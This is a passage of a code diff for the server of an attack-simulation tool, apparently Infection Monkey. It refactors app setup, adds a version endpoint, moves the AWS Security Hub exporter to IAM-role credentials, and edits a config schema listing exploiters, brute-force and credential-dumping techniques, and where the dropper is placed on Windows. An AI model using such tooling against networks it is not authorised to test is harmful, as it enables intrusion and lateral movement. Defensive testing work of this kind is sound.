from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
|
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
|
||||||
from monkey_island.cc.resources.pba_file_download import PBAFileDownload
|
from monkey_island.cc.resources.pba_file_download import PBAFileDownload
|
||||||
|
from monkey_island.cc.resources.version_update import VersionUpdate
|
||||||
from monkey_island.cc.services.database import Database
|
from monkey_island.cc.services.database import Database
|
||||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||||
|
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
|
||||||
from monkey_island.cc.resources.pba_file_upload import FileUpload
|
from monkey_island.cc.resources.pba_file_upload import FileUpload
|
||||||
from monkey_island.cc.resources.attack.attack_telem import AttackTelem
|
from monkey_island.cc.resources.attack.attack_telem import AttackTelem
|
||||||
from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
|
from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
|
||||||
|
@ -84,18 +86,14 @@ def output_json(obj, code, headers=None):
|
||||||
return resp
|
return resp
|
||||||
|
|
||||||
|
|
||||||
def init_app(mongo_url):
|
def init_app_config(app, mongo_url):
|
||||||
app = Flask(__name__)
|
|
||||||
|
|
||||||
api = flask_restful.Api(app)
|
|
||||||
api.representations = {'application/json': output_json}
|
|
||||||
|
|
||||||
app.config['MONGO_URI'] = mongo_url
|
app.config['MONGO_URI'] = mongo_url
|
||||||
|
|
||||||
app.config['SECRET_KEY'] = str(uuid.getnode())
|
app.config['SECRET_KEY'] = str(uuid.getnode())
|
||||||
app.config['JWT_AUTH_URL_RULE'] = '/api/auth'
|
app.config['JWT_AUTH_URL_RULE'] = '/api/auth'
|
||||||
app.config['JWT_EXPIRATION_DELTA'] = env.get_auth_expiration_time()
|
app.config['JWT_EXPIRATION_DELTA'] = env.get_auth_expiration_time()
|
||||||
|
|
||||||
|
|
||||||
|
def init_app_services(app):
|
||||||
init_jwt(app)
|
init_jwt(app)
|
||||||
mongo.init_app(app)
|
mongo.init_app(app)
|
||||||
|
|
||||||
|
@ -103,9 +101,16 @@ def init_app(mongo_url):
|
||||||
database.init()
|
database.init()
|
||||||
Database.init_db()
|
Database.init_db()
|
||||||
|
|
||||||
|
# If running on AWS, this will initialize the instance data, which is used "later" in the execution of the island.
|
||||||
|
RemoteRunAwsService.init()
|
||||||
|
|
||||||
|
|
||||||
|
def init_app_url_rules(app):
|
||||||
app.add_url_rule('/', 'serve_home', serve_home)
|
app.add_url_rule('/', 'serve_home', serve_home)
|
||||||
app.add_url_rule('/<path:static_path>', 'serve_static_file', serve_static_file)
|
app.add_url_rule('/<path:static_path>', 'serve_static_file', serve_static_file)
|
||||||
|
|
||||||
|
|
||||||
|
def init_api_resources(api):
|
||||||
api.add_resource(Root, '/api')
|
api.add_resource(Root, '/api')
|
||||||
api.add_resource(Monkey, '/api/monkey', '/api/monkey/', '/api/monkey/<string:guid>')
|
api.add_resource(Monkey, '/api/monkey', '/api/monkey/', '/api/monkey/<string:guid>')
|
||||||
api.add_resource(LocalRun, '/api/local-monkey', '/api/local-monkey/')
|
api.add_resource(LocalRun, '/api/local-monkey', '/api/local-monkey/')
|
||||||
|
@ -127,8 +132,22 @@ def init_app(mongo_url):
|
||||||
'/api/fileUpload/<string:file_type>?load=<string:filename>',
|
'/api/fileUpload/<string:file_type>?load=<string:filename>',
|
||||||
'/api/fileUpload/<string:file_type>?restore=<string:filename>')
|
'/api/fileUpload/<string:file_type>?restore=<string:filename>')
|
||||||
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
|
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
|
||||||
|
api.add_resource(AttackConfiguration, '/api/attack')
|
||||||
api.add_resource(AttackTelem, '/api/attack/<string:technique>')
|
api.add_resource(AttackTelem, '/api/attack/<string:technique>')
|
||||||
api.add_resource(AttackReport, '/api/attack/report')
|
api.add_resource(AttackReport, '/api/attack/report')
|
||||||
api.add_resource(AttackConfiguration, '/api/attack')
|
api.add_resource(AttackConfiguration, '/api/attack')
|
||||||
|
api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')
|
||||||
|
|
||||||
|
|
||||||
|
def init_app(mongo_url):
|
||||||
|
app = Flask(__name__)
|
||||||
|
|
||||||
|
api = flask_restful.Api(app)
|
||||||
|
api.representations = {'application/json': output_json}
|
||||||
|
|
||||||
|
init_app_config(app, mongo_url)
|
||||||
|
init_app_services(app)
|
||||||
|
init_app_url_rules(app)
|
||||||
|
init_api_resources(api)
|
||||||
|
|
||||||
return app
|
return app
|
||||||
|
|
|
@ -13,6 +13,7 @@ class Environment(object):
|
||||||
_MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://localhost:27017/monkeyisland")
|
_MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://localhost:27017/monkeyisland")
|
||||||
_DEBUG_SERVER = False
|
_DEBUG_SERVER = False
|
||||||
_AUTH_EXPIRATION_TIME = timedelta(hours=1)
|
_AUTH_EXPIRATION_TIME = timedelta(hours=1)
|
||||||
|
_MONKEY_VERSION = "1.6.3"
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.config = None
|
self.config = None
|
||||||
|
@ -37,6 +38,21 @@ class Environment(object):
|
||||||
h.update(secret)
|
h.update(secret)
|
||||||
return h.hexdigest()
|
return h.hexdigest()
|
||||||
|
|
||||||
|
def get_deployment(self):
|
||||||
|
return self._get_from_config('deployment', 'unknown')
|
||||||
|
|
||||||
|
def is_develop(self):
|
||||||
|
return self.get_deployment() == 'develop'
|
||||||
|
|
||||||
|
def get_version(self):
|
||||||
|
return self._MONKEY_VERSION + ('-dev' if self.is_develop() else '')
|
||||||
|
|
||||||
|
def _get_from_config(self, key, default_value=None):
|
||||||
|
val = default_value
|
||||||
|
if self.config is not None:
|
||||||
|
val = self.config.get(key, val)
|
||||||
|
return val
|
||||||
|
|
||||||
@abc.abstractmethod
|
@abc.abstractmethod
|
||||||
def get_auth_users(self):
|
def get_auth_users(self):
|
||||||
return
|
return
|
||||||
|
|
|
@ -32,6 +32,7 @@ def load_env_from_file():
|
||||||
config_json = load_server_configuration_from_file()
|
config_json = load_server_configuration_from_file()
|
||||||
return config_json['server_config']
|
return config_json['server_config']
|
||||||
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
config_json = load_server_configuration_from_file()
|
config_json = load_server_configuration_from_file()
|
||||||
__env_type = config_json['server_config']
|
__env_type = config_json['server_config']
|
||||||
|
|
|
@ -1,19 +1,19 @@
|
||||||
from monkey_island.cc.environment.environment import load_env_from_file, AWS
|
import logging
|
||||||
|
|
||||||
from monkey_island.cc.report_exporter_manager import ReportExporterManager
|
from monkey_island.cc.report_exporter_manager import ReportExporterManager
|
||||||
from monkey_island.cc.resources.aws_exporter import AWSExporter
|
from monkey_island.cc.resources.aws_exporter import AWSExporter
|
||||||
|
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
|
||||||
|
|
||||||
__author__ = 'maor.rayzin'
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
def populate_exporter_list():
|
def populate_exporter_list():
|
||||||
|
|
||||||
manager = ReportExporterManager()
|
manager = ReportExporterManager()
|
||||||
if is_aws_exporter_required():
|
RemoteRunAwsService.init()
|
||||||
|
if RemoteRunAwsService.is_running_on_aws():
|
||||||
manager.add_exporter_to_list(AWSExporter)
|
manager.add_exporter_to_list(AWSExporter)
|
||||||
|
|
||||||
|
if len(manager.get_exporters_list()) != 0:
|
||||||
|
logger.debug(
|
||||||
|
"Populated exporters list with the following exporters: {0}".format(str(manager.get_exporters_list())))
|
||||||
|
|
||||||
def is_aws_exporter_required():
|
|
||||||
if str(load_env_from_file()) == AWS:
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
|
@ -29,6 +29,7 @@ class ReportExporterManager(object):
|
||||||
def export(self, report):
|
def export(self, report):
|
||||||
try:
|
try:
|
||||||
for exporter in self._exporters_set:
|
for exporter in self._exporters_set:
|
||||||
|
logger.debug("Trying to export using " + repr(exporter))
|
||||||
exporter().handle_report(report)
|
exporter().handle_report(report)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.exception('Failed to export report')
|
logger.exception('Failed to export report, error: ' + e.message)
|
||||||
|
|
|
@ -1,53 +1,42 @@
|
||||||
import logging
|
import logging
|
||||||
import uuid
|
import uuid
|
||||||
from datetime import datetime
|
from datetime import datetime
|
||||||
|
|
||||||
import boto3
|
import boto3
|
||||||
from botocore.exceptions import UnknownServiceError
|
from botocore.exceptions import UnknownServiceError
|
||||||
|
|
||||||
from monkey_island.cc.resources.exporter import Exporter
|
|
||||||
from monkey_island.cc.services.config import ConfigService
|
|
||||||
from monkey_island.cc.environment.environment import load_server_configuration_from_file
|
|
||||||
from common.cloud.aws_instance import AwsInstance
|
from common.cloud.aws_instance import AwsInstance
|
||||||
|
from monkey_island.cc.environment.environment import load_server_configuration_from_file
|
||||||
|
from monkey_island.cc.resources.exporter import Exporter
|
||||||
|
|
||||||
__author__ = 'maor.rayzin'
|
__authors__ = ['maor.rayzin', 'shay.nehmad']
|
||||||
|
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
AWS_CRED_CONFIG_KEYS = [['cnc', 'aws_config', 'aws_access_key_id'],
|
|
||||||
['cnc', 'aws_config', 'aws_secret_access_key'],
|
|
||||||
['cnc', 'aws_config', 'aws_account_id']]
|
|
||||||
|
|
||||||
|
|
||||||
class AWSExporter(Exporter):
|
class AWSExporter(Exporter):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def handle_report(report_json):
|
def handle_report(report_json):
|
||||||
aws = AwsInstance()
|
|
||||||
findings_list = []
|
findings_list = []
|
||||||
issues_list = report_json['recommendations']['issues']
|
issues_list = report_json['recommendations']['issues']
|
||||||
if not issues_list:
|
if not issues_list:
|
||||||
logger.info('No issues were found by the monkey, no need to send anything')
|
logger.info('No issues were found by the monkey, no need to send anything')
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
current_aws_region = AwsInstance().get_region()
|
||||||
|
|
||||||
for machine in issues_list:
|
for machine in issues_list:
|
||||||
for issue in issues_list[machine]:
|
for issue in issues_list[machine]:
|
||||||
if issue.get('aws_instance_id', None):
|
if issue.get('aws_instance_id', None):
|
||||||
findings_list.append(AWSExporter._prepare_finding(issue, aws.get_region()))
|
findings_list.append(AWSExporter._prepare_finding(issue, current_aws_region))
|
||||||
|
|
||||||
if not AWSExporter._send_findings(findings_list, AWSExporter._get_aws_keys(), aws.get_region()):
|
if not AWSExporter._send_findings(findings_list, current_aws_region):
|
||||||
logger.error('Exporting findings to aws failed')
|
logger.error('Exporting findings to aws failed')
|
||||||
return False
|
return False
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def _get_aws_keys():
|
|
||||||
creds_dict = {}
|
|
||||||
for key in AWS_CRED_CONFIG_KEYS:
|
|
||||||
creds_dict[key[2]] = str(ConfigService.get_config_value(key))
|
|
||||||
|
|
||||||
return creds_dict
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def merge_two_dicts(x, y):
|
def merge_two_dicts(x, y):
|
||||||
z = x.copy() # start with x's keys and values
|
z = x.copy() # start with x's keys and values
|
||||||
|
@ -82,7 +71,8 @@ class AWSExporter(Exporter):
|
||||||
configured_product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '')
|
configured_product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '')
|
||||||
product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn)
|
product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn)
|
||||||
instance_arn = 'arn:aws:ec2:' + str(region) + ':instance:{instance_id}'
|
instance_arn = 'arn:aws:ec2:' + str(region) + ':instance:{instance_id}'
|
||||||
account_id = AWSExporter._get_aws_keys().get('aws_account_id', '')
|
account_id = AwsInstance().get_account_id()
|
||||||
|
logger.debug("aws account id acquired: {}".format(account_id))
|
||||||
|
|
||||||
finding = {
|
finding = {
|
||||||
"SchemaVersion": "2018-10-08",
|
"SchemaVersion": "2018-10-08",
|
||||||
|
@ -100,27 +90,26 @@ class AWSExporter(Exporter):
|
||||||
return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue, instance_arn))
|
return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue, instance_arn))
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _send_findings(findings_list, creds_dict, region):
|
def _send_findings(findings_list, region):
|
||||||
try:
|
try:
|
||||||
if not creds_dict:
|
logger.debug("Trying to acquire securityhub boto3 client in " + region)
|
||||||
logger.info('No AWS access credentials received in configuration')
|
security_hub_client = boto3.client('securityhub', region_name=region)
|
||||||
return False
|
logger.debug("Client acquired: {0}".format(repr(security_hub_client)))
|
||||||
|
|
||||||
securityhub = boto3.client('securityhub',
|
# Assumes the machine has the correct IAM role to do this, @see
|
||||||
aws_access_key_id=creds_dict.get('aws_access_key_id', ''),
|
# https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances
|
||||||
aws_secret_access_key=creds_dict.get('aws_secret_access_key', ''),
|
import_response = security_hub_client.batch_import_findings(Findings=findings_list)
|
||||||
region_name=region)
|
logger.debug("Import findings response: {0}".format(repr(import_response)))
|
||||||
|
|
||||||
import_response = securityhub.batch_import_findings(Findings=findings_list)
|
|
||||||
if import_response['ResponseMetadata']['HTTPStatusCode'] == 200:
|
if import_response['ResponseMetadata']['HTTPStatusCode'] == 200:
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
except UnknownServiceError as e:
|
except UnknownServiceError as e:
|
||||||
logger.warning('AWS exporter called but AWS-CLI securityhub service is not installed')
|
logger.warning('AWS exporter called but AWS-CLI securityhub service is not installed. Error: ' + e.message)
|
||||||
return False
|
return False
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.exception('AWS security hub findings failed to send.')
|
logger.exception('AWS security hub findings failed to send. Error: ' + e.message)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -243,7 +232,8 @@ class AWSExporter(Exporter):
|
||||||
{0} in the networks {1} \
|
{0} in the networks {1} \
|
||||||
could directly access the Monkey Island server in the networks {2}.".format(issue['machine'],
|
could directly access the Monkey Island server in the networks {2}.".format(issue['machine'],
|
||||||
issue['networks'],
|
issue['networks'],
|
||||||
issue['server_networks']),
|
issue[
|
||||||
|
'server_networks']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
|
|
@ -1,4 +1,6 @@
|
||||||
import json
|
import json
|
||||||
|
|
||||||
|
from botocore.exceptions import NoCredentialsError, ClientError
|
||||||
from flask import request, jsonify, make_response
|
from flask import request, jsonify, make_response
|
||||||
import flask_restful
|
import flask_restful
|
||||||
|
|
||||||
|
@ -6,6 +8,11 @@ from monkey_island.cc.auth import jwt_required
|
||||||
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
|
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
|
||||||
from common.cloud.aws_service import AwsService
|
from common.cloud.aws_service import AwsService
|
||||||
|
|
||||||
|
CLIENT_ERROR_FORMAT = "ClientError, error message: '{}'. Probably, the IAM role that has been associated with the " \
|
||||||
|
"instance doesn't permit SSM calls. "
|
||||||
|
NO_CREDS_ERROR_FORMAT = "NoCredentialsError, error message: '{}'. Probably, no IAM role has been associated with the " \
|
||||||
|
"instance. "
|
||||||
|
|
||||||
|
|
||||||
class RemoteRun(flask_restful.Resource):
|
class RemoteRun(flask_restful.Resource):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
|
@ -24,10 +31,14 @@ class RemoteRun(flask_restful.Resource):
|
||||||
is_aws = RemoteRunAwsService.is_running_on_aws()
|
is_aws = RemoteRunAwsService.is_running_on_aws()
|
||||||
resp = {'is_aws': is_aws}
|
resp = {'is_aws': is_aws}
|
||||||
if is_aws:
|
if is_aws:
|
||||||
is_auth = RemoteRunAwsService.update_aws_auth_params()
|
try:
|
||||||
resp['auth'] = is_auth
|
|
||||||
if is_auth:
|
|
||||||
resp['instances'] = AwsService.get_instances()
|
resp['instances'] = AwsService.get_instances()
|
||||||
|
except NoCredentialsError as e:
|
||||||
|
resp['error'] = NO_CREDS_ERROR_FORMAT.format(e.message)
|
||||||
|
return jsonify(resp)
|
||||||
|
except ClientError as e:
|
||||||
|
resp['error'] = CLIENT_ERROR_FORMAT.format(e.message)
|
||||||
|
return jsonify(resp)
|
||||||
return jsonify(resp)
|
return jsonify(resp)
|
||||||
|
|
||||||
return {}
|
return {}
|
||||||
|
@ -37,9 +48,7 @@ class RemoteRun(flask_restful.Resource):
|
||||||
body = json.loads(request.data)
|
body = json.loads(request.data)
|
||||||
resp = {}
|
resp = {}
|
||||||
if body.get('type') == 'aws':
|
if body.get('type') == 'aws':
|
||||||
is_auth = RemoteRunAwsService.update_aws_auth_params()
|
RemoteRunAwsService.update_aws_region_authless()
|
||||||
resp['auth'] = is_auth
|
|
||||||
if is_auth:
|
|
||||||
result = self.run_aws_monkeys(body)
|
result = self.run_aws_monkeys(body)
|
||||||
resp['result'] = result
|
resp['result'] = result
|
||||||
return jsonify(resp)
|
return jsonify(resp)
|
||||||
|
|
|
@ -54,7 +54,7 @@ class TelemetryFeed(flask_restful.Resource):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_state_telem_brief(telem):
|
def get_state_telem_brief(telem):
|
||||||
if telem['data']['done']:
|
if telem['data']['done']:
|
||||||
return '''Monkey finishing it's execution.'''
|
return '''Monkey finishing its execution.'''
|
||||||
else:
|
else:
|
||||||
return 'Monkey started.'
|
return 'Monkey started.'
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,24 @@
|
||||||
|
import flask_restful
|
||||||
|
import logging
|
||||||
|
|
||||||
|
from monkey_island.cc.environment.environment import env
|
||||||
|
from monkey_island.cc.auth import jwt_required
|
||||||
|
from monkey_island.cc.services.version_update import VersionUpdateService
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class VersionUpdate(flask_restful.Resource):
|
||||||
|
def __init__(self):
|
||||||
|
super(VersionUpdate, self).__init__()
|
||||||
|
|
||||||
|
# We don't secure this since it doesn't give out any private info and we want UI to know version
|
||||||
|
# even when not authenticated
|
||||||
|
def get(self):
|
||||||
|
return {
|
||||||
|
'current_version': env.get_version(),
|
||||||
|
'newer_version': VersionUpdateService.get_newer_version(),
|
||||||
|
'download_link': VersionUpdateService.get_download_link()
|
||||||
|
}
|
|
@ -1,3 +1,4 @@
|
||||||
{
|
{
|
||||||
"server_config": "standard"
|
"server_config": "standard",
|
||||||
|
"deployment": "develop"
|
||||||
}
|
}
|
||||||
|
|
|
@ -69,13 +69,9 @@ class AttackConfig(object):
|
||||||
for key, definition in monkey_schema['definitions'].items():
|
for key, definition in monkey_schema['definitions'].items():
|
||||||
for array_field in definition['anyOf']:
|
for array_field in definition['anyOf']:
|
||||||
# Check if current array field has attack_techniques assigned to it
|
# Check if current array field has attack_techniques assigned to it
|
||||||
if 'attack_techniques' not in array_field:
|
if 'attack_techniques' in array_field and array_field['attack_techniques']:
|
||||||
continue
|
should_remove = not AttackConfig.should_enable_field(array_field['attack_techniques'],
|
||||||
try:
|
attack_techniques)
|
||||||
should_remove = not AttackConfig.should_enable_field(array_field['attack_techniques'], attack_techniques)
|
|
||||||
except KeyError:
|
|
||||||
# Monkey schema field contains not yet implemented technique
|
|
||||||
continue
|
|
||||||
# If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA
|
# If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA
|
||||||
AttackConfig.r_alter_array(monkey_config, key, array_field['enum'][0], remove=should_remove)
|
AttackConfig.r_alter_array(monkey_config, key, array_field['enum'][0], remove=should_remove)
|
||||||
|
|
||||||
|
@ -103,15 +99,12 @@ class AttackConfig(object):
|
||||||
if isinstance(value, dict):
|
if isinstance(value, dict):
|
||||||
dictionary = {}
|
dictionary = {}
|
||||||
# If 'value' is a boolean value that should be set:
|
# If 'value' is a boolean value that should be set:
|
||||||
if 'type' in value and value['type'] == 'boolean' and 'attack_techniques' in value:
|
if 'type' in value and value['type'] == 'boolean' \
|
||||||
try:
|
and 'attack_techniques' in value and value['attack_techniques']:
|
||||||
AttackConfig.set_bool_conf_val(path,
|
AttackConfig.set_bool_conf_val(path,
|
||||||
AttackConfig.should_enable_field(value['attack_techniques'],
|
AttackConfig.should_enable_field(value['attack_techniques'],
|
||||||
attack_techniques),
|
attack_techniques),
|
||||||
monkey_config)
|
monkey_config)
|
||||||
except KeyError:
|
|
||||||
# Monkey schema has a technique that is not yet implemented
|
|
||||||
pass
|
|
||||||
# If 'value' is dict, we go over each of it's fields to search for booleans
|
# If 'value' is dict, we go over each of it's fields to search for booleans
|
||||||
elif 'properties' in value:
|
elif 'properties' in value:
|
||||||
dictionary = value['properties']
|
dictionary = value['properties']
|
||||||
|
@ -141,12 +134,12 @@ class AttackConfig(object):
|
||||||
:param users_techniques: ATT&CK techniques that user chose
|
:param users_techniques: ATT&CK techniques that user chose
|
||||||
:return: True, if user enabled all techniques used by the field, false otherwise
|
:return: True, if user enabled all techniques used by the field, false otherwise
|
||||||
"""
|
"""
|
||||||
# Method can't decide field value because it has no attack techniques assign to it.
|
|
||||||
if not field_techniques:
|
|
||||||
raise KeyError
|
|
||||||
for technique in field_techniques:
|
for technique in field_techniques:
|
||||||
|
try:
|
||||||
if not users_techniques[technique]:
|
if not users_techniques[technique]:
|
||||||
return False
|
return False
|
||||||
|
except KeyError:
|
||||||
|
logger.error("Attack technique %s is defined in schema, but not implemented." % technique)
|
||||||
return True
|
return True
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
|
|
@ -53,7 +53,8 @@ SCHEMA = {
|
||||||
"value": True,
|
"value": True,
|
||||||
"necessary": False,
|
"necessary": False,
|
||||||
"description": "Adversaries may use brute force techniques to attempt access to accounts "
|
"description": "Adversaries may use brute force techniques to attempt access to accounts "
|
||||||
"when passwords are unknown or when password hashes are obtained."
|
"when passwords are unknown or when password hashes are obtained.",
|
||||||
|
"depends_on": ["T1210"]
|
||||||
},
|
},
|
||||||
"T1003": {
|
"T1003": {
|
||||||
"title": "T1003 Credential dumping",
|
"title": "T1003 Credential dumping",
|
||||||
|
|
|
@ -26,14 +26,6 @@ ENCRYPTED_CONFIG_ARRAYS = \
|
||||||
['internal', 'exploits', 'exploit_ssh_keys']
|
['internal', 'exploits', 'exploit_ssh_keys']
|
||||||
]
|
]
|
||||||
|
|
||||||
# This should be used for config values of string type
|
|
||||||
ENCRYPTED_CONFIG_STRINGS = \
|
|
||||||
[
|
|
||||||
['cnc', 'aws_config', 'aws_access_key_id'],
|
|
||||||
['cnc', 'aws_config', 'aws_account_id'],
|
|
||||||
['cnc', 'aws_config', 'aws_secret_access_key']
|
|
||||||
]
|
|
||||||
|
|
||||||
|
|
||||||
class ConfigService:
|
class ConfigService:
|
||||||
default_config = None
|
default_config = None
|
||||||
|
@ -76,8 +68,6 @@ class ConfigService:
|
||||||
if should_decrypt:
|
if should_decrypt:
|
||||||
if config_key_as_arr in ENCRYPTED_CONFIG_ARRAYS:
|
if config_key_as_arr in ENCRYPTED_CONFIG_ARRAYS:
|
||||||
config = [encryptor.dec(x) for x in config]
|
config = [encryptor.dec(x) for x in config]
|
||||||
elif config_key_as_arr in ENCRYPTED_CONFIG_STRINGS:
|
|
||||||
config = encryptor.dec(config)
|
|
||||||
return config
|
return config
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -243,11 +233,8 @@ class ConfigService:
|
||||||
"""
|
"""
|
||||||
Same as decrypt_config but for a flat configuration
|
Same as decrypt_config but for a flat configuration
|
||||||
"""
|
"""
|
||||||
if is_island:
|
|
||||||
keys = [config_arr_as_array[2] for config_arr_as_array in
|
|
||||||
(ENCRYPTED_CONFIG_ARRAYS + ENCRYPTED_CONFIG_STRINGS)]
|
|
||||||
else:
|
|
||||||
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
|
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
|
||||||
|
|
||||||
for key in keys:
|
for key in keys:
|
||||||
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types):
|
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types):
|
||||||
# Check if we are decrypting ssh key pair
|
# Check if we are decrypting ssh key pair
|
||||||
|
@ -261,7 +248,7 @@ class ConfigService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _encrypt_or_decrypt_config(config, is_decrypt=False):
|
def _encrypt_or_decrypt_config(config, is_decrypt=False):
|
||||||
for config_arr_as_array in (ENCRYPTED_CONFIG_ARRAYS + ENCRYPTED_CONFIG_STRINGS):
|
for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS:
|
||||||
config_arr = config
|
config_arr = config
|
||||||
parent_config_arr = None
|
parent_config_arr = None
|
||||||
|
|
||||||
|
|
|
@ -22,7 +22,7 @@ SCHEMA = {
|
||||||
"WmiExploiter"
|
"WmiExploiter"
|
||||||
],
|
],
|
||||||
"title": "WMI Exploiter",
|
"title": "WMI Exploiter",
|
||||||
"attack_techniques": ["T1110", "T1210"]
|
"attack_techniques": ["T1110"]
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
|
@ -30,7 +30,7 @@ SCHEMA = {
|
||||||
"MSSQLExploiter"
|
"MSSQLExploiter"
|
||||||
],
|
],
|
||||||
"title": "MSSQL Exploiter",
|
"title": "MSSQL Exploiter",
|
||||||
"attack_techniques": ["T1110", "T1210"]
|
"attack_techniques": ["T1110"]
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
|
@ -97,6 +97,13 @@ SCHEMA = {
|
||||||
"HadoopExploiter"
|
"HadoopExploiter"
|
||||||
],
|
],
|
||||||
"title": "Hadoop/Yarn Exploiter"
|
"title": "Hadoop/Yarn Exploiter"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"VSFTPDExploiter"
|
||||||
|
],
|
||||||
|
"title": "VSFTPD Exploiter"
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
|
@ -275,8 +282,9 @@ SCHEMA = {
|
||||||
"default": [
|
"default": [
|
||||||
],
|
],
|
||||||
"description":
|
"description":
|
||||||
"List of IPs/subnets the monkey should scan."
|
"List of IPs/subnets/hosts the monkey should scan."
|
||||||
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
|
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\","
|
||||||
|
" \"printer.example\""
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
@ -584,14 +592,14 @@ SCHEMA = {
|
||||||
"dropper_target_path_win_32": {
|
"dropper_target_path_win_32": {
|
||||||
"title": "Dropper target path on Windows (32bit)",
|
"title": "Dropper target path on Windows (32bit)",
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"default": "C:\\Windows\\monkey32.exe",
|
"default": "C:\\Windows\\temp\\monkey32.exe",
|
||||||
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
||||||
"(32bit)"
|
"(32bit)"
|
||||||
},
|
},
|
||||||
"dropper_target_path_win_64": {
|
"dropper_target_path_win_64": {
|
||||||
"title": "Dropper target path on Windows (64bit)",
|
"title": "Dropper target path on Windows (64bit)",
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"default": "C:\\Windows\\monkey64.exe",
|
"default": "C:\\Windows\\temp\\monkey64.exe",
|
||||||
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
||||||
"(64 bit)"
|
"(64 bit)"
|
||||||
},
|
},
|
||||||
|
@ -722,31 +730,6 @@ SCHEMA = {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
'aws_config': {
|
|
||||||
'title': 'AWS Configuration',
|
|
||||||
'type': 'object',
|
|
||||||
'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.',
|
|
||||||
'properties': {
|
|
||||||
'aws_account_id': {
|
|
||||||
'title': 'AWS account ID',
|
|
||||||
'type': 'string',
|
|
||||||
'description': 'Your AWS account ID that is subscribed to security hub feeds',
|
|
||||||
'default': ''
|
|
||||||
},
|
|
||||||
'aws_access_key_id': {
|
|
||||||
'title': 'AWS access key ID',
|
|
||||||
'type': 'string',
|
|
||||||
'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.',
|
|
||||||
'default': ''
|
|
||||||
},
|
|
||||||
'aws_secret_access_key': {
|
|
||||||
'title': 'AWS secret access key',
|
|
||||||
'type': 'string',
|
|
